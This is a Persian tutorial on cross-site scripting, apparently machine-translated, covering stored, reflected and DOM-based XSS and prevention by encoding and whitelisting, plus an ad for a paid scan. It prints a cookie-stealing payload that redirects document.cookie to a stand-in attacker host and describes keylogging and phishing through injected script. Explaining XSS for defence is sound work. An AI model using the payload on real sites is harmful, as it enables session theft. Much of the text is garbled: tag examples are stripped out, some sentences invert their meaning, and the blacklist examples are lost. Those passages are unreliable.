    آیا اسکریپت متقابل سایت یک مشکل کاربر نیست؟

    خیر اگر یک مهاجم بتواند از یک آسیب پذیری XSS در یک صفحه وب برای اجرای جاوا اسکریپت دلخواه در مرورگر بازدیدکننده سوء استفاده کند، امنیت آن وب سایت یا برنامه وب و کاربران آن به خطر افتاده است - xss یک مشکل کاربر نیست، درست مانند هر آسیب پذیری امنیتی دیگری اگر بر کاربران شما تأثیر می گذارد، بر شما تأثیر می گذارد.

    آناتومی یک حمله اسکریپت بین سایتی

    یک حمله Xss به سه شرکت کننده نیاز دارد: یک وب سایت، یک قربانی و یک مهاجم. مثال زیر فرض می‌کند که هدف مهاجم جعل هویت قربانی با سرقت کوکی‌های قربانی است. ارسال کوکی ها به سرور مهاجم می تواند به روش های مختلفی انجام شود که یکی از آنها اجرای کد جاوا اسکریپت زیر در مرورگر قربانی با استفاده از یک آسیب پذیری XSS است.

    window.?cookie=” + document.cookie شکل زیر راهنمای گام به گام یک حمله ساده XSS را نشان می دهد.

    • مهاجم با ارسال یک فرم آسیب پذیر با استفاده از کد مخرب جاوا اسکریپت، داده های مفید را به پایگاه داده یک وب سایت تزریق می کند.
    • قربانی درخواست یک صفحه وب از یک وب سایت می کند
    • این وب سایت به مرورگر قربانی صفحه ای را با بار مهاجم به عنوان بخشی از بدنه HTML ارائه می دهد.
    • مرورگر قربانی اسکریپت مخرب را در داخل بدنه HTML اجرا می کند. در این صورت کوکی های قربانی را به سرور مهاجم ارسال می کند. اکنون مهاجم باید زمانی که درخواست HTTP به سرور می رسد، کوکی قربانی را بازیابی کند و پس از آن مهاجم می تواند از کوکی دزدیده شده قربانی استفاده کند.
    چند نمونه از اسکریپت های حمله متقابل سایت

    در زیر لیست کوچکی از سناریوهای حمله XSS وجود دارد که مهاجم می تواند از آنها برای به خطر انداختن امنیت یک وب سایت یا برنامه وب استفاده کند.

    برچسب زدن

    این تگ مستقیم ترین آسیب پذیری xss است. تگ اسکریپت می تواند به کد خارجی جاوا اسکریپت اشاره کند.

    هشدار ("XSS"); برچسب زدن

    با xss، تزریق را می توان در داخل تگ با استفاده از ویژگی onload یا یک ویژگی تیره تر دیگر مانند پس زمینه انجام داد.

    برچسب برخی از مرورگرها زمانی که جاوا اسکریپت در آن قرار دارد، آن را اجرا می کنند .

    تگ این تگ به شما امکان می دهد صفحه HTML دیگری را در صفحه اصلی جاسازی کنید. یک iFrame می‌تواند حاوی جاوا اسکریپت باشد، اما توجه به این نکته مهم است که جاوا اسکریپت در iFrame به دلیل خط‌مشی امنیت محتوای مرورگر (CSP) به DOM صفحه اصلی دسترسی ندارد. با این حال، IFrames هنوز هم در برابر حملات فیشینگ بسیار موثر است.

    برچسب زدن

    در برخی از مرورگرها، اگر ویژگی نوع برچسب روی تصویر تنظیم شده باشد، می توان از آن برای میزبانی یک اسکریپت استفاده کرد.

    برچسب زدن

    برچسب، که اغلب برای پیوند دادن به شیوه نامه های خارجی استفاده می شود، ممکن است حاوی اسکریپت باشد.

    برچسب زدن

    از ویژگی پس‌زمینه تگ‌های جدول و td می‌توان برای نشان دادن یک اسکریپت به جای تصویر استفاده کرد.

    برچسب زدن

    در یک برچسب، به طور مشابه

    و
    تگ ها می توانند پس زمینه را مشخص کنند و بنابراین اسکریپت را درج کنند.

    برچسب زدن

    این تگ می تواند برای درج در یک اسکریپت از یک سایت خارجی استفاده شود.

    آیا سایت شما در برابر اسکریپت های متقابل آسیب پذیر است؟

    آسیب‌پذیری‌های XSS از رایج‌ترین آسیب‌پذیری‌های برنامه‌های وب در اینترنت هستند. خوشبختانه، بررسی اینکه آیا وب سایت یا برنامه وب شما در برابر XSS و سایر آسیب پذیری ها آسیب پذیر است یا نه، به سادگی با تماس با من آسان است. با هزینه ای ناچیز، منبع شما را با کمک برنامه های ویژه اسکن می کنم، آسیب پذیری های احتمالی را پیدا می کنم و نحوه رفع آنها را پیشنهاد می کنم.

    و یک کتاب درسی جامع در زمینه اسکریپت بین سایتی است.

    بخش اول: بررسی اجمالی XSS چیست؟

    برنامه نویسی متقابل سایت ( انگلیسی اسکریپت نویسی متقابل سایت) یک حمله تزریق کد است که به مهاجم اجازه می دهد جاوا اسکریپت مخرب را در مرورگر کاربر دیگر اجرا کند.

    مهاجم مستقیماً به قربانی خود حمله نمی کند. در عوض، از یک آسیب پذیری در وب سایتی که قربانی بازدید می کند سوء استفاده می کند و کد مخرب جاوا اسکریپت را تزریق می کند. در مرورگر قربانی، جاوا اسکریپت مخرب به عنوان بخشی قانونی از وب سایت ظاهر می شود و خود وب سایت به عنوان همدست مستقیم مهاجم عمل می کند.

    تزریق کد مخرب جاوا اسکریپت

    تنها راه برای یک مهاجم برای اجرای جاوا اسکریپت مخرب در مرورگر قربانی تزریق آن به یکی از صفحاتی است که قربانی از وب سایت بارگذاری می کند. این در صورتی امکان پذیر است که وب سایت به کاربران اجازه دهد داده ها را در صفحات خود وارد کنند و مهاجم می تواند رشته ای را وارد کند که به عنوان بخشی از کد در مرورگر قربانی شناسایی می شود.

    مثال زیر یک اسکریپت سرور ساده را نشان می دهد که برای نمایش آخرین نظر در یک سایت استفاده می شود:

    چاپ ""
    چاپ "آخرین نظر:"
    چاپ پایگاه داده.latestComment
    چاپ ""

    اسکریپت فرض می کند که نظر فقط از متن تشکیل شده است. با این حال، از آنجایی که ورودی مستقیم کاربر فعال است، مهاجم می تواند این نظر را بگذارد: "..." . اکنون هر کاربری که از صفحه بازدید کند پاسخ زیر را دریافت خواهد کرد:


    آخرین نظر:
    ...

    هنگامی که مرورگر کاربر صفحه را بارگذاری می کند، همه چیز از جمله جاوا اسکریپت موجود در برچسب ها را اجرا می کند. مهاجم با موفقیت این حمله را انجام داد.

    جاوا اسکریپت مخرب چیست؟

    توانایی اجرای جاوا اسکریپت در مرورگر قربانی ممکن است به خصوص مخرب به نظر نرسد. جاوا اسکریپت در یک محیط بسیار محدود اجرا می شود که دسترسی بسیار محدودی به فایل های کاربر و سیستم عامل دارد. در واقع می توانید همین الان کنسول جاوا اسکریپت را در مرورگر خود باز کنید و هر جاوا اسکریپتی را که می خواهید اجرا کنید و بعید است که بتوانید آسیبی به رایانه خود وارد کنید.

    با این حال، توانایی کد جاوا اسکریپت برای مخرب بودن با توجه به حقایق زیر واضح تر می شود:

    • جاوا اسکریپت به برخی از اطلاعات حساس کاربر مانند کوکی ها دسترسی دارد.
    • جاوا اسکریپت می تواند درخواست های HTTP را با محتوای دلخواه در جهت دلخواه با استفاده از XMLHttpRequest و مکانیسم های دیگر ارسال کند.
    • جاوا اسکریپت می تواند با استفاده از روش های دستکاری DOM تغییرات دلخواه در کد HTML صفحه فعلی ایجاد کند.

    هنگامی که این حقایق با هم ترکیب شوند، می توانند نقض امنیتی بسیار جدی ایجاد کنند، جزئیات در ادامه خواهد آمد.

    پیامدهای کد مخرب جاوا اسکریپت

    علاوه بر این، توانایی اجرای جاوا اسکریپت دلخواه در مرورگر کاربر دیگر به مهاجم اجازه می دهد تا انواع حملات زیر را انجام دهد:

    دزدی کوکی

    مهاجم می‌تواند با استفاده از document.cookie به کوکی‌های مربوط به وب‌سایت قربانی دسترسی پیدا کند، آنها را به سرور خود ارسال کند و از آنها برای استخراج اطلاعات حساس مانند شناسه‌های جلسه استفاده کند.

    کی لاگر

    مهاجم می‌تواند با استفاده از addEventListener شنونده رویداد صفحه‌کلید را ثبت کند و سپس تمام کلیدهای کاربر را به سرور خود ارسال کند و احتمالاً اطلاعات حساسی مانند رمز عبور و شماره کارت اعتباری را ثبت کند.

    فیشینگ

    یک مهاجم می‌تواند با استفاده از دستکاری DOM، یک فرم ورود جعلی را در صفحه وارد کند، ویژگی‌های عملکرد فرم را روی سرور خودش تنظیم کند، و سپس کاربر را فریب دهد تا اطلاعات حساس را دریافت کند.

    اگرچه این حملات تفاوت قابل توجهی دارند، اما همه آنها یک شباهت قابل توجه دارند: از آنجا که مهاجم کد را به صفحه ای که توسط یک وب سایت ارائه می شود تزریق می کند، جاوا اسکریپت مخرب در زمینه آن وب سایت اجرا می شود. این بدان معناست که با آن مانند هر اسکریپت دیگری از آن سایت رفتار می شود: به داده های قربانی برای آن وب سایت (مانند سوابق کوکی) دسترسی دارد و نام میزبان نمایش داده شده در رشته URL مانند وب سایت خواهد بود. برای همه اهداف، اسکریپت بخشی قانونی از وب سایت در نظر گرفته می شود، که به آن اجازه می دهد هر کاری را که خود وب سایت می تواند انجام دهد، انجام دهد.

    این واقعیت یک مسئله کلیدی را برجسته می کند:

    اگر یک مهاجم بتواند از وب سایت شما برای اجرای کد جاوا اسکریپت دلخواه در مرورگرهای دیگر کاربران استفاده کند، امنیت وب سایت شما و کاربران آن به خطر می افتد.

    برای تأکید بر این نکته، برخی از نمونه‌های اسکریپت مخرب در این آموزش با استفاده از ... به تفصیل حذف می‌شوند. این نشان می‌دهد که صرف وجود یک اسکریپت که توسط مهاجم تزریق می‌شود، یک مشکل است، صرفنظر از اینکه کد اسکریپت خاصی واقعاً اجرا می‌شود.

    قسمت دوم: حمله XSS شرکت کنندگان در حمله XSS

    قبل از اینکه به طور مفصل نحوه عملکرد یک حمله XSS را توضیح دهیم، باید عوامل دخیل در حمله XSS را تعریف کنیم. به طور کلی، سه بازیگر در حمله XSS وجود دارد: وب سایت، قربانی و مهاجم.

    • وب سایت صفحات HTML را برای کاربرانی که آنها را درخواست می کنند ارائه می دهد. در مثال های ما، در http://website/ قرار دارد.
      • پایگاه داده وب سایت پایگاهی است که برخی از داده های وارد شده توسط کاربران را در صفحات یک وب سایت ذخیره می کند.
    • قربانی کاربر معمولی یک وب سایت است که با استفاده از مرورگر خود صفحاتی را از آن درخواست می کند.
    • مهاجم مهاجمی است که قصد دارد با سوء استفاده از یک آسیب پذیری XSS در یک سایت، به قربانی حمله کند.
      • سرور مزاحم یک وب سرور است که توسط مهاجم کنترل می شود و تنها هدف آن سرقت اطلاعات محرمانه قربانی است. در مثال‌های ما، در http://attacker/ قرار دارد.
    نمونه اسکریپت حمله


    window.location="http://attacker/?cookie="+document.cookie

    این اسکریپت یک درخواست HTTP به URL دیگری ایجاد می کند که مرورگر کاربر را به سرور مهاجم هدایت می کند. URL شامل کوکی قربانی به عنوان پارامتر درخواست است، هنگامی که یک درخواست HTTP به سرور مهاجم می رسد، مهاجم می تواند این کوکی ها را از درخواست استخراج کند. هنگامی که مهاجم کوکی ها را به دست آورد، می تواند از آنها برای جعل هویت قربانی و راه اندازی یک حمله بعدی استفاده کند.

    از این پس، HTML نشان داده شده در بالا به عنوان یک رشته مخرب یا اسکریپت مخرب شناخته می شود. درک این نکته مهم است که خود رشته تنها زمانی مخرب است که در نهایت به صورت HTML در مرورگر قربانی ارائه شود، که تنها در صورت وجود آسیب‌پذیری XSS در وب‌سایت ممکن است اتفاق بیفتد.

    این مثال حمله چگونه کار می کند

    نمودار زیر نمونه ای از حمله توسط مهاجم را نشان می دهد:

  • مهاجم از یکی از فرم های وب سایت برای درج یک رشته مخرب در پایگاه داده وب سایت استفاده می کند.
  • قربانی درخواست صفحه ای از یک وب سایت می کند.
  • این سایت شامل یک رشته مخرب از پایگاه داده در پاسخ است و آن را برای قربانی ارسال می کند.
  • مرورگر قربانی یک اسکریپت مخرب را در پاسخ اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.
    • انواع XSS

    هدف از حمله XSS همیشه اجرای یک اسکریپت جاوا اسکریپت مخرب در مرورگر قربانی است. چندین راه اساسی برای رسیدن به این هدف وجود دارد. حملات XSS اغلب به سه نوع طبقه بندی می شوند:

    • ذخیره شده (دائم) XSS، جایی که رشته مخرب از پایگاه داده وب سایت منشا می گیرد.
    • XSS منعکس شده (غیر پایدار)، که در آن رشته مخرب از درخواست قربانی ایجاد می شود.
    • XSS DOM، جایی که آسیب‌پذیری در کد سمت سرویس گیرنده رخ می‌دهد، نه کد سمت سرور.

    مثال قبلی یک حمله XSS ذخیره شده را نشان می دهد. ما اکنون دو نوع دیگر از حملات XSS را شرح خواهیم داد: حملات XSS منعکس شده و DOM XSS.

    XSS منعکس شده است

    در یک حمله XSS منعکس شده، رشته مخرب بخشی از درخواست قربانی به وب سایت است. سایت می پذیرد و این رشته مخرب را در پاسخی که برای کاربر ارسال می کند درج می کند. نمودار زیر این سناریو را نشان می دهد:

  • قربانی مهاجم را فریب می دهد تا یک درخواست URL به یک وب سایت ارسال کند.
  • این سایت شامل یک رشته مخرب از درخواست URL در پاسخ به قربانی است.
  • مرورگر قربانی اسکریپت مخرب موجود در پاسخ را اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.

    • چگونه یک حمله XSS منعکس شده را با موفقیت انجام دهیم؟

    یک حمله XSS منعکس شده ممکن است بی ضرر به نظر برسد زیرا از قربانی می خواهد درخواستی حاوی رشته مخرب را از طرف خود ارسال کند. از آنجایی که هیچ کس داوطلبانه به خود حمله نمی کند، به نظر می رسد هیچ راهی برای انجام واقعی حمله وجود ندارد.

    همانطور که مشخص است، حداقل دو راه متداول وجود دارد که قربانی را وادار به انجام یک حمله XSS منعکس شده علیه خود کنید:

    • اگر کاربر یک فرد خاص باشد، مهاجم می‌تواند یک URL مخرب برای قربانی ارسال کند (مثلاً از طریق ایمیل یا پیام‌رسان) و او را فریب دهد تا پیوند را برای بازدید از وب‌سایت باز کند.
    • اگر هدف گروه بزرگی از کاربران باشد، مهاجم می‌تواند پیوندی به یک URL مخرب (مثلاً در وب‌سایت یا شبکه اجتماعی خود) ارسال کند و منتظر بماند تا بازدیدکنندگان روی پیوند کلیک کنند.

    هر دوی این روش‌ها مشابه هستند، و هر دو می‌توانند با سرویس‌های کوتاه‌کننده URL که رشته‌های مخرب را از کاربرانی که ممکن است قادر به شناسایی آن هستند پنهان کنند، موفق‌تر باشند.

    XSS در DOM

    XSS در DOM یک نوع حمله XSS ذخیره شده و منعکس شده است. در این حمله XSS، رشته مخرب توسط مرورگر قربانی پردازش نمی شود تا زمانی که جاوا اسکریپت واقعی وب سایت اجرا شود. نمودار زیر این سناریو را برای یک حمله XSS منعکس شده نشان می دهد:

  • مهاجم یک URL حاوی یک رشته مخرب ایجاد می کند و آن را برای قربانی ارسال می کند.
  • قربانی مهاجم را فریب می دهد تا یک درخواست URL به یک وب سایت ارسال کند.
  • سایت درخواست را می پذیرد اما رشته مخرب را در پاسخ شامل نمی شود.
  • مرورگر قربانی اسکریپت قانونی موجود در پاسخ را اجرا می کند و باعث می شود اسکریپت مخرب در صفحه درج شود.
  • مرورگر قربانی اسکریپت مخرب درج شده در صفحه را اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.
    • تفاوت XSS در مدل DOM چیست؟

    در نمونه های قبلی از حملات XSS ذخیره شده و منعکس شده، سرور یک اسکریپت مخرب را در یک صفحه قرار می دهد، که سپس در پاسخ به قربانی ارسال می شود. وقتی مرورگر قربانی پاسخی را دریافت می‌کند، فرض می‌کند که اسکریپت مخرب بخشی از محتوای قانونی صفحه است و به طور خودکار آن را در حین بارگذاری صفحه، مانند هر اسکریپت دیگری اجرا می‌کند.

    در مثال حمله DOM XSS، اسکریپت مخرب به عنوان بخشی از صفحه درج نمی شود. تنها اسکریپتی که در حین بارگذاری صفحه به طور خودکار اجرا می شود، بخش قانونی صفحه است. مشکل این است که این اسکریپت قانونی مستقیماً از ورودی کاربر برای افزودن HTML به صفحه استفاده می کند. از آنجایی که رشته مخرب با استفاده از innerHTML در صفحه وارد می شود، به عنوان HTML تجزیه می شود و باعث می شود اسکریپت مخرب اجرا شود.

    این تفاوت کوچک است، اما بسیار مهم است:

    • در XSS سنتی، جاوا اسکریپت مخرب زمانی که صفحه بارگیری می شود، به عنوان بخشی از HTML ارسال شده توسط سرور اجرا می شود.
    • در مورد XSS در DOM، جاوا اسکریپت مخرب پس از بارگیری صفحه اجرا می‌شود و در نتیجه آن صفحه با جاوا اسکریپت قانونی به ورودی کاربر (شامل رشته مخرب) به روشی ناامن دسترسی پیدا می‌کند.
    XSS چگونه در DOM کار می کند؟

    در مثال قبلی، نیازی به جاوا اسکریپت نیست. سرور می تواند تمام HTML را به تنهایی تولید کند. اگر کد سمت سرور حاوی آسیب‌پذیری نبود، وب‌سایت تحت تأثیر آسیب‌پذیری XSS قرار نمی‌گرفت.

    با این حال، با پیشرفته تر شدن برنامه های کاربردی وب، صفحات HTML بیشتری با جاوا اسکریپت در سمت مشتری به جای سمت سرور تولید می شوند. در هر زمان، محتوا باید بدون بازخوانی کل صفحه تغییر کند، این با استفاده از جاوا اسکریپت امکان پذیر است. به ویژه، این مورد زمانی است که صفحه پس از درخواست AJAX به روز می شود.

    این بدان معنی است که آسیب پذیری های XSS نه تنها در سمت سرور کد سایت شما، بلکه در سمت مشتری کد جاوا اسکریپت سایت شما نیز وجود دارد. بنابراین، حتی با کد سمت سرور کاملاً ایمن، ممکن است کد کلاینت پس از بارگیری صفحه، به‌طور ایمن ورودی کاربر را هنگام به‌روزرسانی DOM وارد نکند. اگر این اتفاق بیفتد، کد سمت سرویس گیرنده اجازه حمله XSS را بدون تقصیر کد سمت سرور می دهد.

    XSS مبتنی بر DOM ممکن است برای سرور قابل مشاهده نباشد

    یک مورد خاص از حمله XSS در DOM وجود دارد که در آن رشته مخرب هرگز به سرور وب‌سایت ارسال نمی‌شود: این زمانی اتفاق می‌افتد که رشته مخرب در بخشی از یک شناسه URL (هر چیزی بعد از نماد #) قرار می‌گیرد. مرورگرها این قسمت از URL را به سرور ارسال نمی کنند، بنابراین وب سایت نمی تواند با کد سمت سرور به آن دسترسی داشته باشد. کد سمت کلاینت اما به آن دسترسی دارد و بنابراین حمله XSS از طریق پردازش ناامن امکان پذیر است.

    این مورد به شناسه قطعه محدود نمی شود. ورودی های کاربر دیگری وجود دارد که برای سرور نامرئی است، مانند ویژگی های جدید HTML5 مانند LocalStorage و IndexedDB.

    قسمت سوم:
    XSS Prevention تکنیک های پیشگیری XSS

    به یاد بیاورید که XSS یک حمله تزریق کد است: ورودی کاربر به اشتباه به عنوان کد مخرب تفسیر می شود. برای جلوگیری از این نوع تزریق کد، مدیریت ورودی ایمن مورد نیاز است. برای یک توسعه دهنده وب، دو روش اساسی برای انجام پردازش ورودی امن وجود دارد:

    • رمزگذاری تکنیکی است که اجازه می دهد ورودی کاربر فقط به عنوان داده تولید شود و به مرورگر اجازه نمی دهد آن را به عنوان کد پردازش کند.
    • اعتبار سنجی راهی برای فیلتر کردن ورودی کاربر است به طوری که مرورگر آن را به عنوان کد بدون دستورات مخرب تفسیر می کند.

    در حالی که این روش‌ها اساساً روش‌های پیشگیری XSS متفاوت هستند، اما چند ویژگی مشترک دارند که درک آنها هنگام استفاده از هر یک از آنها مهم است:

    Context مدیریت ورودی ایمن باید بسته به جایی که از ورودی کاربر در صفحه استفاده می‌شود متفاوت باشد. ورودی/خروجی پردازش ورودی امن می تواند زمانی انجام شود که سایت شما ورودی (ترافیک ورودی) را دریافت کند یا درست قبل از اینکه سایت ورودی کاربر را در محتوای صفحه وارد کند (خروجی). پردازش ورودی ایمن Client/Server می‌تواند در سمت مشتری یا در سمت سرور انجام شود، هر گزینه در شرایط مختلف مورد نیاز است.

    قبل از توضیح دقیق نحوه کدگذاری و اعتبار سنجی، هر یک از این نکات را شرح خواهیم داد.

    مدیریت ورودی کاربر در زمینه ها

    زمینه های زیادی در یک صفحه وب وجود دارد که ورودی کاربر را می توان در آنها اعمال کرد. برای هر یک از آنها، قوانین خاصی باید رعایت شود تا ورودی کاربر نتواند از متن خود خارج شود و به عنوان کد مخرب تفسیر شود. موارد زیر رایج ترین زمینه ها هستند:

    منظور از زمینه ها چیست؟

    در تمام زمینه های توصیف شده، اگر ورودی کاربر قبل از اولین رمزگذاری یا اعتبارسنجی وارد شده باشد، آسیب پذیری XSS می تواند رخ دهد. یک مهاجم می تواند کد مخرب را به سادگی با قرار دادن یک جداکننده بسته برای این زمینه و به دنبال آن کد مخرب تزریق کند.

    برای مثال، اگر در نقطه‌ای یک وب‌سایت ورودی کاربر را مستقیماً در یک ویژگی HTML داشته باشد، مهاجم می‌تواند با شروع ورودی خود با یک نقل قول، اسکریپت مخرب را تزریق کند، همانطور که در زیر نشان داده شده است:

    با حذف همه نقل قول ها در ورودی کاربر می شد از این امر جلوگیری کرد و همه چیز خوب بود، اما فقط در این زمینه. اگر ورودی در زمینه دیگری درج شده باشد، جداکننده بسته متفاوت خواهد بود و تزریق امکان پذیر خواهد بود. به همین دلیل، مدیریت ورودی ایمن باید همیشه با زمینه ای که ورودی کاربر در آن درج می شود، تطبیق داده شود.

    مدیریت ورودی/خروجی کاربر ورودی

    به طور غریزی، به نظر می رسد که XSS می تواند با رمزگذاری یا اعتبارسنجی تمام ورودی های کاربر به محض دریافت سایت ما، جلوگیری شود. به این ترتیب، هر رشته‌های مخرب هر زمان که در صفحه قرار گیرند خنثی می‌شوند و اسکریپت‌های تولید HTML دیگر نگران مدیریت امن ورودی کاربر نخواهند بود.

    مشکل این است که همانطور که قبلا توضیح داده شد، ورودی کاربر را می توان در چندین زمینه در صفحه درج کرد. و هیچ راه آسانی برای تعیین اینکه ورودی کاربر به یک زمینه وارد می شود وجود ندارد - در نهایت چگونه درج می شود، و همان ورودی کاربر اغلب باید در زمینه های مختلف درج شود. با تکیه بر مدیریت ورودی ورودی برای جلوگیری از XSS، ما یک راه حل بسیار شکننده ایجاد می کنیم که مستعد خطا است. (نقل قول جادویی PHP منسوخ شده نمونه ای از چنین راه حلی است.)

    درعوض، مدیریت ورودی خروجی باید خط دفاعی اصلی شما در برابر XSS باشد زیرا می‌تواند زمینه خاص ورودی کاربر را در نظر بگیرد. تا حدی، اعتبار سنجی ورودی می تواند برای افزودن یک لایه حفاظتی ثانویه استفاده شود، اما بعداً در مورد آن بیشتر توضیح خواهیم داد.

    جایی که امکان رسیدگی به ورودی های کاربر به صورت ایمن وجود دارد

    در اکثر برنامه های کاربردی وب مدرن، ورودی کاربر هم در سمت سرور و هم در سمت مشتری پردازش می شود. به منظور محافظت در برابر انواع XSS، مدیریت ورودی امن باید هم در کد سمت سرور و هم در کد سمت سرویس گیرنده انجام شود.

    • به منظور محافظت در برابر XSS سنتی، مدیریت ورودی امن باید در کد سمت سرور انجام شود. این کار با استفاده از برخی از زبان های پشتیبانی شده توسط سرور انجام می شود.
    • به منظور محافظت در برابر حمله XSS در DOM، جایی که سرور هرگز یک رشته مخرب دریافت نمی کند (به عنوان مثال، حمله قطعه شناسه که قبلاً توضیح داده شد)، مدیریت ورودی امن باید در کد سمت سرویس گیرنده انجام شود. این کار با جاوا اسکریپت انجام می شود.

    اکنون که توضیح دادیم چرا زمینه اهمیت دارد، چرا تمایز بین پردازش ورودی ورودی و خروجی مهم است، و چرا پردازش ورودی امن باید در هر دو طرف انجام شود، هم در سمت مشتری و هم در سمت سرور، می‌توانیم به توضیح ادامه دهیم. چگونه دو نوع پردازش ورودی امن (رمزگذاری و اعتبارسنجی) واقعاً انجام می شود.

    کد نویسی

    رمزگذاری راهی برای خروج از موقعیتی است که در آن مرورگر لازم است ورودی کاربر را فقط به عنوان داده تفسیر کند نه کد. محبوب ترین نوع رمزگذاری در توسعه وب، HTML Escapement است که کاراکترهایی مانند< и >V< и >به ترتیب.

    شبه کد زیر نمونه ای از نحوه کدگذاری ورودی کاربر (ورودی کاربر) با استفاده از HTML escapement و سپس درج در صفحه با استفاده از اسکریپت سمت سرور است:

    چاپ ""
    چاپ "آخرین نظر:"
    چاپ encodeHtml (userInput)
    چاپ ""

    اگر کاربر خط زیر را وارد کند ... ، HTML حاصل به شکل زیر خواهد بود:


    آخرین نظر:
    ...

    از آنجایی که تمام کاراکترهای دارای معنای خاص حذف شده اند، مرورگر هیچ بخشی از ورودی کاربر را مانند HTML تجزیه نمی کند.

    کدنویسی سمت کلاینت و سرور

    هنگام انجام رمزگذاری سمت سرویس گیرنده، همیشه از جاوا اسکریپت استفاده می شود که دارای توابع داخلی است که داده ها را برای زمینه های مختلف رمزگذاری می کند.

    هنگام انجام کدنویسی در کد سمت سرور خود، به ویژگی های موجود در زبان یا چارچوب خود تکیه می کنید. با توجه به تعداد زیاد زبان ها و فریمورک های موجود، این آموزش جزئیات کدنویسی در هیچ زبان یا فریم ورک سرور خاصی را پوشش نمی دهد. با این حال، ویژگی‌های کدگذاری جاوا اسکریپت که در سمت سرویس گیرنده استفاده می‌شوند، هنگام نوشتن کد سمت سرور نیز استفاده می‌شوند.

    کدگذاری سمت مشتری

    هنگام رمزگذاری ورودی کاربر سمت سرویس گیرنده با جاوا اسکریپت، چندین روش و ویژگی داخلی وجود دارد که به طور خودکار همه داده ها را به سبک حساس به زمینه رمزگذاری می کند:

    آخرین زمینه ذکر شده در بالا (مقادیر در جاوا اسکریپت) در این لیست گنجانده نشده است زیرا جاوا اسکریپت راهی داخلی برای رمزگذاری داده هایی که در کد منبع جاوا اسکریپت گنجانده می شود ارائه نمی دهد.

    محدودیت های کدنویسی

    حتی هنگام رمزگذاری، امکان استفاده از رشته های مخرب در برخی زمینه ها وجود دارد. مثال بارز آن زمانی است که از ورودی کاربر برای ارائه URL استفاده می شود، مانند مثال زیر:

    document.querySelector("a").href = userInput

    اگرچه مقدار مشخص شده در ویژگی href عنصر به طور خودکار آن را رمزگذاری می کند به طوری که چیزی بیش از مقدار مشخصه نمی شود، اما این به تنهایی مانع از وارد کردن یک URL که با "javascript:" شروع می شود، توسط مهاجم نمی شود. هنگامی که لینک کلیک می شود، صرف نظر از ساختار، جاوا اسکریپت جاسازی شده در URL اجرا می شود.

    هنگامی که می خواهید کاربران بتوانند از بخشی از کدهای HTML موجود در صفحه استفاده کنند، رمزگذاری نیز راه حل کارآمدی نیست. یک مثال می تواند صفحه نمایه کاربر باشد که در آن کاربر می تواند از HTML سفارشی استفاده کند. اگر این HTML ساده کدگذاری شده باشد، صفحه نمایه فقط می تواند از متن ساده تشکیل شود.

    در شرایطی مانند این، کدنویسی باید با اعتبار سنجی تکمیل شود که در ادامه به بررسی آن خواهیم پرداخت.

    اعتبار سنجی

    اعتبار سنجی عمل فیلتر کردن ورودی کاربر است به طوری که تمام قسمت های مخرب آن بدون نیاز به حذف همه کدهای موجود در آن حذف می شود. یکی از پرکاربردترین انواع اعتبارسنجی در توسعه وب به برخی از عناصر HTML (مانند و ) اجازه می دهد اما برخی دیگر (مانند ) را غیرمجاز می کند.

    دو بررسی مشخصه اصلی وجود دارد که در اجرای آنها متفاوت است:

    استراتژی طبقه بندی ورودی کاربر را می توان با استفاده از لیست سیاه یا لیست سفید طبقه بندی کرد. نتیجه اعتبار سنجی ورودی کاربر که به عنوان مخرب شناسایی شده است را می توان رد یا پاکسازی کرد.

    لیست سیاه استراتژی طبقه بندی

    به طور غریزی، انجام بررسی با تعریف یک الگوی ممنوعه که نباید در ورودی کاربر ظاهر شود، مناسب به نظر می رسد. اگر رشته ای با این الگو مطابقت داشته باشد، به عنوان نامعتبر علامت گذاری می شود. به عنوان مثال، به کاربران اجازه دهید URL های سفارشی را با هر پروتکلی به جز جاوا اسکریپت ارسال کنند: . این استراتژی طبقه بندی نامیده می شود لیست سیاه.

    با این حال، لیست سیاه دو اشکال اساسی دارد:

    دشواری توصیف دقیق مجموعه تمام رشته های مخرب ممکن معمولاً یک کار بسیار دشوار است. مثال خط مشی بالا را نمی توان با جستجوی زیر رشته "جاوا اسکریپت" با موفقیت اجرا کرد، زیرا رشته هایی مانند "جاوا اسکریپت:" (که در آن حرف اول با حروف بزرگ است) و "جاوا اسکریپت:" (جایی که حرف اول به صورت عددی کدگذاری می شود را از دست می دهد. مرجع شخصیت). منسوخ شدن حتی اگر یک لیست سیاه ایده آل ایجاد شود، اگر ویژگی جدیدی که به مرورگر اضافه می شود برای حمله استفاده شود، بی فایده خواهد بود. به عنوان مثال، اگر لیست سیاه برای اعتبار سنجی HTML قبل از معرفی ویژگی onmousewheel در HTML5 ایجاد شده باشد، آن (لیست سیاه) نمی تواند مانع از استفاده مهاجم از این ویژگی برای انجام یک حمله XSS شود. این نقص به ویژه در توسعه وب که شامل بسیاری از فناوری‌های مختلف است که دائماً در حال به‌روزرسانی هستند، اهمیت دارد.

    به دلیل این کاستی ها، قرار دادن لیست سیاه به عنوان یک استراتژی طبقه بندی به شدت ممنوع است. قرار دادن لیست سفید به طور کلی یک رویکرد بسیار امن تر است که در ادامه توضیح خواهیم داد.

    لیست سفید

    لیست سفیداساساً برعکس لیست سیاه: به جای تعیین یک الگوی ممنوعه، رویکرد لیست سفید یک الگوی مجاز را تعریف می کند و در صورت وجود آن ورودی را نامعتبر می کند. مطابقت ندارداین الگو

    برخلاف لیست‌های سیاه، نمونه‌ای از فهرست‌های سفید این است که به کاربران اجازه می‌دهد URLهای سفارشی حاوی پروتکل‌های http: و https: را ارسال کنند، نه چیزی بیشتر. این رویکرد به طور خودکار URL را به عنوان نامعتبر علامت گذاری می کند اگر حاوی پروتکل جاوا اسکریپت: باشد، حتی اگر به صورت "جاوا اسکریپت:" یا "جاوا اسکریپت:" ارائه شود.

    در مقایسه با لیست سیاه، لیست سفید دو مزیت اصلی دارد:

